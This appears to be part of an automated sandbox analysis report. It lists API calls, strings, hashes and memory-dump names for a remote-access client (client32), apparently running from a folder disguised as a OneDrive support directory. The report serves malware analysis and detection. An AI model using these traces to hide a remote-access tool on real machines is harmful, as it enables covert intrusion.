WSAStartup.WSOCK32(00000101,6C84991A), ref: 6C8157C7
_malloc.LIBCMT ref: 6C81580D

Part of subcall function 6C81F8CB: __FF_MSGBANNER.LIBCMT ref: 6C81F8E4
Part of subcall function 6C81F8CB: __NMSG_WRITE.LIBCMT ref: 6C81F8EB
Part of subcall function 6C81F8CB: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,6C82B131,6C824BF1,00000001,6C824BF1,?,6C82D1B5,00000018,6C845558,0000000C,6C82D245), ref: 6C81F910

_memset.LIBCMT ref: 6C81583D
_malloc.LIBCMT ref: 6C815890
_memset.LIBCMT ref: 6C8158C6
_malloc.LIBCMT ref: 6C8158D2
_memset.LIBCMT ref: 6C815908
GetTickCount.KERNEL32 ref: 6C815966
CreateThread.KERNEL32(00000000,00004000,6C8151C0,00000000,00000000,6C849ACC), ref: 6C815983
SetThreadPriority.KERNEL32(00000000,00000001), ref: 6C8159B1
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\MSOneDrive\Support\,00000104), ref: 6C8159E9
GetPrivateProfileIntA.KERNEL32(htctl.packet_tracing,mode,00000000,C:\Users\user\AppData\Local\MSOneDrive\Support\pci.ini), ref: 6C815A70
GetModuleHandleA.KERNEL32(nsmtrace), ref: 6C815A80

Strings

sv.ResumeEvent, xrefs: 6C8157B0
*CMPI, xrefs: 6C815924
TraceSend, xrefs: 6C815A9B, 6C815AD4
sv.subset.omit, xrefs: 6C8158ED
General, xrefs: 6C815944
sv.subset.subset, xrefs: 6C8158AB
(iflags & CTL_REMOTE) == 0, xrefs: 6C8159C7
WinInet.dll, xrefs: 6C8156B2
sv.hRecvThread, xrefs: 6C81599C
C:\Users\user\AppData\Local\MSOneDrive\Support\, xrefs: 6C8159E3, 6C8159F1, 6C815A05
sv.hRecvThreadReadyEvent, xrefs: 6C815764
e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c, xrefs: 6C81575F, 6C815785, 6C8157AB, 6C815823, 6C8158A6, 6C8158E8, 6C815997, 6C8159C2
sv.s, xrefs: 6C815828
C:\Users\user\AppData\Local\MSOneDrive\Support\pci.ini, xrefs: 6C815A41, 6C815A5B
pci.ini, xrefs: 6C815A4F
*DisconnectTimeout, xrefs: 6C81593F
TraceRecv, xrefs: 6C815A8F, 6C815ABD
htctl.packet_tracing, xrefs: 6C815A68
NSM896597, xrefs: 6C81585D
Support\, xrefs: 6C815A0A
nsmtrace, xrefs: 6C815A76
_debug, xrefs: 6C815AC2, 6C815AD9, 6C815AFC, 6C815B0C
494126, xrefs: 6C815848
TraceFile, xrefs: 6C815AF7
Trace, xrefs: 6C815B07
HTCTL32, xrefs: 6C815696
sv.hResponseEvent, xrefs: 6C81578A
mode, xrefs: 6C815A61

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: Create_malloc_memset$EventModule$FileNameThread_strrchrwsprintf$AllocCountCriticalHandleHeapInitializeLibraryLoadPriorityPrivateProfileSectionStartupTick
String ID: (iflags & CTL_REMOTE) == 0$*CMPI$*DisconnectTimeout$494126$C:\Users\user\AppData\Local\MSOneDrive\Support\$C:\Users\user\AppData\Local\MSOneDrive\Support\pci.ini$General$HTCTL32$NSM896597$Support\$Trace$TraceFile$TraceRecv$TraceSend$WinInet.dll$_debug$e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c$htctl.packet_tracing$mode$nsmtrace$pci.ini$sv.ResumeEvent$sv.hRecvThread$sv.hRecvThreadReadyEvent$sv.hResponseEvent$sv.s$sv.subset.omit$sv.subset.subset
API String ID: 2307927588-2221551840
Opcode ID: 224b16f7efe33b63dd8a3428c66734efb69ce5eab33c82998ce6e72c1b02ba97
Instruction ID: 31072543742ccb413c06cf495012aaf97e27ba3762d6a6d407434ae101f2cabc
Opcode Fuzzy Hash: 224b16f7efe33b63dd8a3428c66734efb69ce5eab33c82998ce6e72c1b02ba97
Instruction Fuzzy Hash: 0FC1A4B1A44319AFE730AF69AF859577BF8A71530CB148D39E44997F02D730A844CBE1

Function 1110E3D0 Relevance: 79.4, APIs: 23, Strings: 22, Instructions: 634COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004C), ref: 1110E422
SystemParametersInfoA.USER32(00000025,00000000,00000000,00000000), ref: 1110E438
SystemParametersInfoA.USER32(00000026,00000000,03060800,00000000), ref: 1110E44A
SystemParametersInfoA.USER32(00000049,00000008,00000008,00000000), ref: 1110E4A0
SystemParametersInfoA.USER32(00000048,00000008,00000008,00000000), ref: 1110E4B5
SystemParametersInfoA.USER32(00001002,00000000,03060810,00000000), ref: 1110E519
SystemParametersInfoA.USER32(00001005,00000000,00000000,00000000), ref: 1110E55F
SystemParametersInfoA.USER32(00001004,00000000,03060808,00000000), ref: 1110E577
SystemParametersInfoA.USER32(00001007,00000000,00000000,00000000), ref: 1110E5BD
SystemParametersInfoA.USER32(00001006,00000000,0306080C,00000000), ref: 1110E5D5
SystemParametersInfoA.USER32(0000101B,00000000,00000000,00000000), ref: 1110E61B
SystemParametersInfoA.USER32(0000101A,00000000,03060814,00000000), ref: 1110E633
SystemParametersInfoA.USER32(00001015,00000000,00000000,00000000), ref: 1110E679
SystemParametersInfoA.USER32(00001014,00000000,03060818,00000000), ref: 1110E691
SystemParametersInfoA.USER32(00001017,00000000,00000000,00000000), ref: 1110E6D7
SystemParametersInfoA.USER32(00001016,00000000,0306081C,00000000), ref: 1110E6EF
SystemParametersInfoA.USER32(00001025,00000000,00000000,00000000), ref: 1110E735
SystemParametersInfoA.USER32(00001024,00000000,03060820,00000000), ref: 1110E74D
SystemParametersInfoA.USER32(00001009,00000000,00000000,00000000), ref: 1110E7FF
SystemParametersInfoA.USER32(00001008,00000000,03060828,00000000), ref: 1110E817
SystemParametersInfoA.USER32(0000004B,00000000,00000000,00000000), ref: 1110E85A
SystemParametersInfoA.USER32(0000004A,00000000,0306082C,00000000), ref: 1110E86F
SystemParametersInfoA.USER32(00001003,00000000,00000000,00000000), ref: 1110E501

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

Strings

EnableGradientCaptions, xrefs: 1110E7CF
EnableTTAnimation, xrefs: 1110E6A7
ListviewWatermark, xrefs: 1110E9E0, 1110E9FB
EnableFontSmoothing, xrefs: 1110E82D
EnableLBSmoothScroll, xrefs: 1110E58D
EnableLVWatermark, xrefs: 1110E9B7
EnableCBAnimation, xrefs: 1110E52F
SmoothScroll, xrefs: 1110E78E, 1110E7AD, 1110E8AE, 1110E8C9
EnableShadowCursor, xrefs: 1110E5EB
EnableTBAnimations, xrefs: 1110E953
EnableTVSmoothScroll, xrefs: 1110E763
EnableAnimation, xrefs: 1110E46D
ListviewAlphaSelect, xrefs: 1110E918, 1110E933
ListviewShadow, xrefs: 1110EA44, 1110EA64
EnableMenuAnimation, xrefs: 1110E4D1
TaskbarAnimations, xrefs: 1110E97C, 1110E997
EnableDropShadow, xrefs: 1110E705
EnableSelectionFade, xrefs: 1110E649
EnableLVAlphaSelect, xrefs: 1110E8EF
EnableLVShadow, xrefs: 1110EA1B
EnableDragFullWindows, xrefs: 1110E3F8
EnableIESmoothScroll, xrefs: 1110E885

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$InfoParameters$Metrics__wcstoi64
String ID: EnableAnimation$EnableCBAnimation$EnableDragFullWindows$EnableDropShadow$EnableFontSmoothing$EnableGradientCaptions$EnableIESmoothScroll$EnableLBSmoothScroll$EnableLVAlphaSelect$EnableLVShadow$EnableLVWatermark$EnableMenuAnimation$EnableSelectionFade$EnableShadowCursor$EnableTBAnimations$EnableTTAnimation$EnableTVSmoothScroll$ListviewAlphaSelect$ListviewShadow$ListviewWatermark$SmoothScroll$TaskbarAnimations
API String ID: 3799663137-3751266815
Opcode ID: e7a4dce61e0f6dc888a7ab4a6d4f103cf71d0abfd572eaa5a0d6346dd09f0406
Instruction ID: 9f95c093d5af311da67ec9eb410866abb6d77f64e7d878690f97347aefdc1e61
Opcode Fuzzy Hash: e7a4dce61e0f6dc888a7ab4a6d4f103cf71d0abfd572eaa5a0d6346dd09f0406
Instruction Fuzzy Hash: 0D12C434A02B56BAF7208B67CE44FABFBA5ABC4B44F51441CF546AA1C0EBB4F580C754

Function 1105D550 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11134260: GetLastError.KERNEL32(?,00000000,75A3795C,00000000), ref: 11134295
Part of subcall function 11134260: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,75A3795C,00000000), ref: 111342A5

_fgets.LIBCMT ref: 1105D682
_strpbrk.LIBCMT ref: 1105D6E9
_fgets.LIBCMT ref: 1105D7EC
_strpbrk.LIBCMT ref: 1105D863
__wcstoui64.LIBCMT ref: 1105D87C
_fgets.LIBCMT ref: 1105D8F5
_strpbrk.LIBCMT ref: 1105D91B

Strings

shrink_wrap, xrefs: 1105DEF6
%s.%04d.%s, xrefs: 1105DB69
inactive, xrefs: 1105DE71
product, xrefs: 1105DF12
_checksum, xrefs: 1105DCCF
/- , xrefs: 1105E0BE, 1105E0F1, 1105E124
?starT, xrefs: 1105E031, 1105E03D
defaults, xrefs: 1105D9D6
_include, xrefs: 1105DA89
Client, xrefs: 1105DB22, 1105DB64
enforce, xrefs: 1105D9F6
?expirY, xrefs: 1105E028
%c%04d%s, xrefs: 1105DA44
_version, xrefs: 1105DCE9
cd_install, xrefs: 1105DEDB
ACM, xrefs: 1105DF57
licensee, xrefs: 1105E313
Expired, xrefs: 1105E22B
_License, xrefs: 1105DC16, 1105DCD4, 1105DCEE, 1105DE76, 1105DEE0, 1105DEFB, 1105DF17, 1105E011, 1105E230, 1105E318
start, xrefs: 1105DFF9, 1105E010
expiry, xrefs: 1105DFF0

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: f5eea2a609ae30e24c7521b51ab016292f72383e495257dbf3964fe323c1f7db
Instruction ID: 4e0492978d8d4243d04b01263315b5fbbceebc438647a9249f86b1f3f6260675
Opcode Fuzzy Hash: f5eea2a609ae30e24c7521b51ab016292f72383e495257dbf3964fe323c1f7db
Instruction Fuzzy Hash: CAA2D475E006569FEB90DB64DC80BEFB7B5AF45305F0081D9E849A7280EB70AE85CF61

Function 6C8090A0 Relevance: 51.1, APIs: 25, Strings: 4, Instructions: 338
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C8042F0: inet_ntoa.WSOCK32(00000080,?,00000000,?,6C8078D1,00000000,00000000,6C8498DA,?,00000080), ref: 6C804302

EnterCriticalSection.KERNEL32(6C849898,?,00000000,00000000,?,?,?,?,?,?,6C811D39,00002000,?,000001BB,FFFFFFFF,?), ref: 6C8090F5
LeaveCriticalSection.KERNEL32(6C849898,?,?,?,?,?,?,6C811D39,00002000,?,000001BB,FFFFFFFF,?,?,00000000,?), ref: 6C80912D
LeaveCriticalSection.KERNEL32(6C849898,?,?,?,?,?,?,6C811D39,00002000,?,000001BB,FFFFFFFF,?,?,00000000,?), ref: 6C809159
WSAGetLastError.WSOCK32(?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,6C811D39,00002000), ref: 6C8091AD
socket.WSOCK32(00000002,00000001,00000000,?,00000000,00000000,?,?,?,?,?,?,6C811D39,00002000), ref: 6C8091F0
WSAGetLastError.WSOCK32(00000002,00000001,00000000,?,00000000,00000000,?,?,?,?,?,?,6C811D39,00002000), ref: 6C8091FC
#21.WSOCK32(00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C80922A
#21.WSOCK32(00000000,0000FFFF,00000080,?,00000004,00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C809247
#21.WSOCK32(00000000,00000006,00000001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C809273
bind.WSOCK32(00000000,000001BB,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C809296
WSAGetLastError.WSOCK32(00000000,000001BB,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C80929F
closesocket.WSOCK32(00000000,00000000,000001BB,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C8092A7
htons.WSOCK32(00000000,00000000,000001BB,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C8092D7
WSASetBlockingHook.WSOCK32(6C804E60,00000000,00000000,000001BB,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C8092E5
WSAGetLastError.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C8092FB
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C809302
closesocket.WSOCK32(00000000,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C809308
WSAGetLastError.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C80935A
WSAUnhookBlockingHook.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C809361
closesocket.WSOCK32(00000000,?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C809367
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C8093A5
EnterCriticalSection.KERNEL32(6C849898,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C8093B4
LeaveCriticalSection.KERNEL32(6C849898), ref: 6C809438
GetTickCount.KERNEL32 ref: 6C809444
InterlockedExchange.KERNEL32(6C811CC9,00000000), ref: 6C809452

Part of subcall function 6C808CE0: wsprintfA.USER32 ref: 6C808D37
Part of subcall function 6C808CE0: inet_ntoa.WSOCK32(00000000), ref: 6C808D43
Part of subcall function 6C808CE0: _sprintf.LIBCMT ref: 6C808D7D
Part of subcall function 6C808CE0: _free.LIBCMT ref: 6C808D83
Part of subcall function 6C808CE0: GetProcAddress.KERNEL32(?,InternetWriteFile), ref: 6C808DCC
Part of subcall function 6C808CE0: WSAGetLastError.WSOCK32 ref: 6C808DF0

Strings

Connect error to %s using hijacked socket, error %d, xrefs: 6C8091B9
Cannot connect to gateway %s via web proxy, error %d, xrefs: 6C809371
Cannot connect to gateway %s, error %d, xrefs: 6C809312
*TcpNoDelay, xrefs: 6C80924E

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: ErrorLast$CriticalSection$BlockingHook$LeaveUnhookclosesocket$Enterinet_ntoa$AddressCountExchangeInterlockedProcTick_free_sprintfbindhtonssocketwsprintf
String ID: *TcpNoDelay$Cannot connect to gateway %s via web proxy, error %d$Cannot connect to gateway %s, error %d$Connect error to %s using hijacked socket, error %d
API String ID: 1690749424-2561115898
Opcode ID: 19bad86ffa116f219e6fb621aacd8d7c27355f0d39513604b49dcf63d91ba6ad
Instruction ID: e64b14dea120e3bfee8ab51891098bae78e3847e0530e18c7df656390e1e35df
Opcode Fuzzy Hash: 19bad86ffa116f219e6fb621aacd8d7c27355f0d39513604b49dcf63d91ba6ad
Instruction Fuzzy Hash: EEB1D471B01108AFDB24DF98DE81BDDB7B5EF89318F104979E809ABB80DB749945CB90

Function 11129D80 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 380
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsWindow.USER32(0001042A), ref: 11129E01
IsWindowVisible.USER32(0001042A), ref: 11129E0F
IsWindowVisible.USER32(0001042A), ref: 11129E47
GetForegroundWindow.USER32 ref: 11129E62
EnableWindow.USER32(0001042A,00000000), ref: 11129E7C
EnableWindow.USER32(0001042A,00000001), ref: 11129E98
SetForegroundWindow.USER32(00000000), ref: 11129EA7
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 11129EE5
IsWindowVisible.USER32(00000000), ref: 11129EF4
IsWindowVisible.USER32(0001042A), ref: 11129F24
IsIconic.USER32(0001042A), ref: 11129F31
GetForegroundWindow.USER32 ref: 11129F3B

Part of subcall function 111228E0: ShowWindow.USER32(0001042A,11129D52,?,11129D52,00000007,?,?,?,?,?,00000000), ref: 111228EE

SetForegroundWindow.USER32(00000000), ref: 11129F61
EnableWindow.USER32(0001042A,00000001), ref: 11129F70
GetLastError.KERNEL32 ref: 1112A02D
GetLastError.KERNEL32 ref: 1112A0A5

Strings

Shell_TrayWnd, xrefs: 11129EE0
HideWhenIdle, xrefs: 11129E30
disableRunplugin, xrefs: 11129FB2
MainWnd = %08x, visible %d, valid %d, xrefs: 11129E19
HookDirectSound, xrefs: 1112A127
Audio, xrefs: 1112A12C
Client, xrefs: 11129E35, 11129FB7
File <%s> doesnt exist, e=%d, xrefs: 1112A031, 1112A0A9
Reactivate main window, xrefs: 11129E55

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$ErrorLast$FindIconicShow
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$Reactivate main window$Shell_TrayWnd$disableRunplugin
API String ID: 3497382234-2745087410
Opcode ID: 03e229f3001578359e413258553aba7f5d85a076d8a2a6da1e0c262e5ead9f6f
Instruction ID: 89bfc5eb453e7e361dc174284ec43732ba9e27439f8ef9c29a8ac0fe06485c00
Opcode Fuzzy Hash: 03e229f3001578359e413258553aba7f5d85a076d8a2a6da1e0c262e5ead9f6f
Instruction Fuzzy Hash: 0CD13435A01231AFDF10DF24DD89F9AF762AB80B4CFA04539EC1957288EF716840CB92

Function 11081000 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 1108108C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 110810AA
LoadLibraryA.KERNEL32(?), ref: 110810EC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11081107
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 1108111C
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 1108112D
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 1108113E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 1108114F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11081160

Strings

CipherServer_Destroy, xrefs: 11081116
CipherServer_OpenSession, xrefs: 11081138
CryptPak.dll, xrefs: 1108105B, 110810BE
CipherServer_EncryptBlocks, xrefs: 1108115A
CipherServer_Create, xrefs: 11081101
CipherServer_CloseSession, xrefs: 11081149
CipherServer_ResetSession, xrefs: 1108118D
CipherServer_GetRandomData, xrefs: 1108117C
CipherServer_DecryptBlocks, xrefs: 1108116B
CipherServer_GetInfoBlock, xrefs: 11081127

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: 0a76712465da8a1f89cb356c9f725acde3d7fc538e30262e756dcc55fc0ce3ce
Instruction ID: 5e0f03c7a272b42dabbdc436788095eb74915ed0ff03ab5e2eae34a55ab18380
Opcode Fuzzy Hash: 0a76712465da8a1f89cb356c9f725acde3d7fc538e30262e756dcc55fc0ce3ce
Instruction Fuzzy Hash: 7751B378E0870A9FD711DF7ACC90AA6FBF8AF55314B1189AED8A5C7640DA70E580CF50

Function 6C815A28 Relevance: 22.8, APIs: 3, Strings: 10, Instructions: 81synchronizationCOMMON

Download Yara Rule

APIs

GetPrivateProfileIntA.KERNEL32(htctl.packet_tracing,mode,00000000,C:\Users\user\AppData\Local\MSOneDrive\Support\pci.ini), ref: 6C815A70
GetModuleHandleA.KERNEL32(nsmtrace), ref: 6C815A80
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 6C815B26

Strings

TraceFile, xrefs: 6C815AF7
Trace, xrefs: 6C815B07
htctl.packet_tracing, xrefs: 6C815A68
C:\Users\user\AppData\Local\MSOneDrive\Support\pci.ini, xrefs: 6C815A41, 6C815A5B
TraceSend, xrefs: 6C815A9B, 6C815AD4
pci.ini, xrefs: 6C815A4F
_debug, xrefs: 6C815AC2, 6C815AD9, 6C815AFC, 6C815B0C
nsmtrace, xrefs: 6C815A76
mode, xrefs: 6C815A61
TraceRecv, xrefs: 6C815A8F, 6C815ABD

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: CreateHandleModuleMutexPrivateProfile
String ID: C:\Users\user\AppData\Local\MSOneDrive\Support\pci.ini$Trace$TraceFile$TraceRecv$TraceSend$_debug$htctl.packet_tracing$mode$nsmtrace$pci.ini
API String ID: 2872646933-1634281601
Opcode ID: 3a145e10b277d7dd7f98602bfaa6678b4153f5d4d1a110da4e054b4b40d8b7ed
Instruction ID: 91ec5c5e8e5a35a3ccea35b302cb67ffbeb0ff71c2f6b69e53a59708815eb758
Opcode Fuzzy Hash: 3a145e10b277d7dd7f98602bfaa6678b4153f5d4d1a110da4e054b4b40d8b7ed
Instruction Fuzzy Hash: D02160B4684359AFE730BF646F94A573BA8A66624CB149C39E458D3F03E7346808D7D0

Function 6C811780 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 178timethreadCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,937B5537,DB83AE95,937B54B7,FFFFFFFF,00000000), ref: 6C811831
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000), ref: 6C81183B
